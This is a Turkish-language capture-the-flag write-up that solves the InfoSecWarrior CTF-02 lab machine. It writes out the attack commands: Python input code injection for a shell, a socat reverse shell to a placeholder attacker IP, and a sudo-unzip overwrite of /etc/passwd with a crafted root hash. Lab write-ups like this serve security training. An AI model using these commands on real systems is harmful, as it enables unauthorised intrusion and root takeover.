InfoSecWarrior CTF – 02 | WriteUp

Merhabalar arkadaşlar, bu yazımda sizlerle InfoSecWarriorCTF – 02 isimli zafiyetli makinenin WriteUp’ını paylaşacağım. Adım adım ekran görüntülerini ekleyerek ve açıklamalar yaparak detaylı bir WriteUp hazırlamaya çalıştım. İyi okumalar dilerim.

Okumanıza başlamadan önce sizlere küçük bir uyarı vermek istiyorum. InfoSecWarriorCTF makinelerinin WriteUp’larını özellikle teknik bilgi gereksinimini en alçak seviyede tutarak hazırlıyorum. Bu sebepten dolayı belirli bir teknik bilgiye sahip kişiler için fazla detay ve açıklama içeren bu InfoSecWarriorCTF WriteUp’ları sıkıcı gelebilir.

O hâlde başlayalım (:

Step 1 : Öncelikle kendi saldırgan makinemizin IP’sini öğrendik.

Step 2 : “netdiscover” tool’unu kullanarak kurban makinesini tespit ettik.

Step 3 : Kurban makinesi üzerinde çalışan servisleri ve bu servislerin version bilgilerini öğreneceğimiz nmap komutunu çalıştırdık. Nmap çıktısına göre 22. Portta bir SSH servisi çalışıyor ve 56563 portunda ne servisi olduğu nmap tarafından tespit edilemeyen bir servis çalışıyor.

nmap -sS -sV -p- 10.0.2.16

Step 4 : InfoSecWarrior CTF – 01 Makinesi çözümünde SSH ile bağlantı yapmaya çalışırken “isw0” isimli bir kullanıcı hesabı kullanmıştık. Belki bir bağlantısı olabilir diye bu kullanıcıyı kullanarak SSH portuna bağlantı yapmaya çalıştık. Burada bize troll yapılmakla beraber bir ipucu bırakılmış. Makinenin hostname’ine ve Distro(Dağıtım) isimlerine bakın ve bunu “Secure Shell” almak için kullanın diyor.

ssh isw0@10.0.2.16

Step 5 : Makinede 56563. portta çalışan servisi merak ettiğimiz için bir tarayıcı üzerinden gitmeye çalıştık. Saçma bir ekran çıktısı aldık, burada ping atabildiğimiz bir kod parçacığı çalışmakta sanırım. İnternetten 56563 portu ile ilgili biraz araştırma yaptığımızda bir TCP/UDP iletişimi için kullanıldığına dair bir şeyler gördük.

Step 6 : Netcat tool’unu kullanarak ilgili porta erişmek istediğimizde kod parçacığını düzgün şekilde çalıştırabilmiş olduk. Bize kaç adet ping göndermek istediğimizi soruyor.

nc 10.0.2.16 56563

Step 7 : 3 değerini girdikten sonra 3 adet ping gönderildiğini görüyoruz.

Step 8 : Burada komut çalıştığı için basit “Command Injection” denemeleri yaptık. Fakat her defasında sadece integer(sayısal) değer girmemizi söyleyen bir hata mesajı ile karşılaştık. Ayrıca burada bir terminal değilde “/script.py” isimli bir python dosyasının çalıştığını öğrenmiş olduk.

Step 9 : Python dilinde yazılmış olan scriptlerde input(girdi) zafiyetleri için google üzerinden araştırmalar yaptık ve şu internet sitesine denk geldik.

Step 10 : Input girebileceğimiz kod parçacıklarında RCE(Remote Code Execution) yapmamızı sağlayan örnek bir komut’a denk geldik.

Step 11 : Normalde sayısal bir değer girmemiz gerekirken biz şu komutu yazdık ve gönderdik;

__import__("os").system("uname -a")

Bu komut ile kurban makinesinde “uname -a” komutunu çalıştırmayı denemiş olduk. Ve aynı zamanda çalıştırabildik (:

Step 12 : Kurban makinesi üzerinde bir bash’e sahip olabilmek için yazdığımız komut şu şekilde;

__import__('os').system("bash")

Bu komut sayesinde kurban makine üzerinde bir bash’e sahip olduk. Şimdi kurban makinesine sahipmişiz gibi terminal komutları çalıştırabiliriz.

Step 13 : Erişmiş olduğumuz dizinde bir “ls” çalıştırdık ve dizinde var olan dosyaları görüntüledik. “bla2-note” dosyasını görüntülediğimizde “My group password is czNjcjN0. I encoded my gpasswd :P” gibi bir çıktı ile karşılaştık.

Step 14 : czNjcjN0 değerini farklı decode türleri ile denedik ve sonunda “Base64” ile decode ettiğimizde “s3cr3t” isimli bir değer elde ettik.

Step 15 : Ayrıca “cat /etc/passwd” komutu ile kullanıcı listesini görüntüledik ve şu kullanıcıları görüntüledik.

Step 16 : Kurban makinesinde SSH servisi çalıştığını biliyoruz. Passwd dosyasında gördüğümüz kullanıcı isimlerini, şifreleri “s3cr3t” olacak şekilde teker teker deneyerek SSH ile bağlantı yapmayı denedik. Fakat sonuç hüsran oldu, hiç bir kullancıda bir bağlantı sağlayamadık.

Step 17 : Aklımıza “Step 4” adımında karşılaştığımızda bize verilen ipucu geldi. Buna ithafen kurban makinesinin hostname’ine ve Distro codename’sini baktık.
Hostname = ck04
Ubuntu Codename = bionic

hostname
cat /etc/*-release

Step 18 : Bu bilgileri kullanarak kurban makinesine SSH ile bağlantı yapmayı denedik ve başarılı da olduk. Burada User Flag’i bulduk (:
Kullanıcı Adı = ck04
Password = bionic

Step 19 : Enumeration yapmak için dizinlerde gezindik. “shell” dosyasını görüntülediğimizde içerisinde “/home/bla/user.txt”yi okumamızı sağlayan bir komutun olduğunu gördük.

Step 20 : /home/bla/user.txt dizinini görüntülemek istediğimizde yetkimizin olmadığını söyleyen bir uyarı aldık.

Step 21 : Saldırgan cihazımızda, socat programı ile 5555 portundan dinleme yapmaya başladık. Kurban makinesinden çalıştıracağımız komut ile kurban cihazının tty shell’ine” kendi terminalimiz üzerinde sahip olmaya çalışacağız.
Saldırgan cihazda çalıştırılan komut;

socat file:'tty',raw,echo=0 tcp-listen:5555

Step 22 : Kurban cihaz üzerinde çalıştırdığımız komut ile interactive shell’e sahip olabilmek adına saldırgan cihazımıza doğru bir nevi reverse shell aldık.
Kurban cihazda çalıştırılan komut;

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<saldırganIP>:5555

Step 23 : Çalıştırdığımız “sudo -l” komutu ile “ck04” kullanıcısının bu makinede hangi komutları çalıştırabileceğini görüntüledik. Ekran görüntüsünde de gözüktüğü üzere “ck04” kullanıcısı, “bla” kullanıcısı üzerinden şifre gerekmeksizin tüm komutları çalıştırılabiliyor. Sonrasında “sudo -u bla /bin/bash” komutunu çalıştırarak “bla” kullanıcısına geçiş yapmış olduk ve bla kullanıcısı üzerinden komut çalıştırabilecek duruma geldik.

Step 24 : Şimdi “bla” kullanıcısında iken tekrar bir “sudo -l” komutunu çalıştırdık. Ekran görüntüsünde de gözüktüğü üzere “root” kullanıcısı ile şifre gerekmeksizin “/usr/bin/unzip” komutunu çalıştırmaya yetkimiz var. Bu zayıf noktadan yararlanarak sistemde root olmaya çalışacağız.

Step 25 : /etc/passwd dosyasını bulunduğumuz(yazma iznimizin bulunduğu) dizine kopyaladık. Sonrasında “nano passwd” komutunu çalıştırarak passwd dosyası üzerinde düzenlemeler yapacağız.

Step 26 : passwd dosyasının orijinal görünümü şu şekilde;

Step 27 : Root kullanıcısı için şifre oluşturacağız. Oluşturmak için seçtiğimiz şifre “ctfbaris”. Ama /etc/passwd dosyasına kayıt ederken kullanmak istediğimiz şifrenin hashli halini kaydetmemiz gerekiyor. Bu sebep ile “openssl passwd ctfbaris” komutunu çalıştırdık ve şifremizin hashlenmiş halini aldık.

Step 28 : Şifremizin hashlenmiş hali olan <EmgIcVuPV2dVc> değerini passwd dosyamıza ekledik ve ardından dosyayı kaydettik.

Step 29 : Öncelikle passwd dosyamızı “.zip” haline getirdik. Sonrasında
“sudo -u root unzip passwd.zip -d /etc/” komutuyla, root kullanıcı haklarını kullanarak hazırladığımız passwd.zip dosyasını, gidip /etc/ dizini altında açtırdık ve orijinal passwd dosyası ile yerlerini değiştirttik. /etc/ dizini altında ki passwd dosyasını görüntülediğimiz de passwd dosyasının bizim hazırlamış olduğumuz dosya olduğunu kontrol etmiş olduk.

Step 30 : “su – root” komutu ile root kullancısına geçiş yapmaya çalıştık ve sorulan şifre için “ctfbaris” değerini girdik. Ve bingo artık root olduk (:

0x030

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Connecting to %s

WordPress.com'da bir web sitesi veya blog oluşturun

Yukarı ↑

%d blogcu bunu beğendi: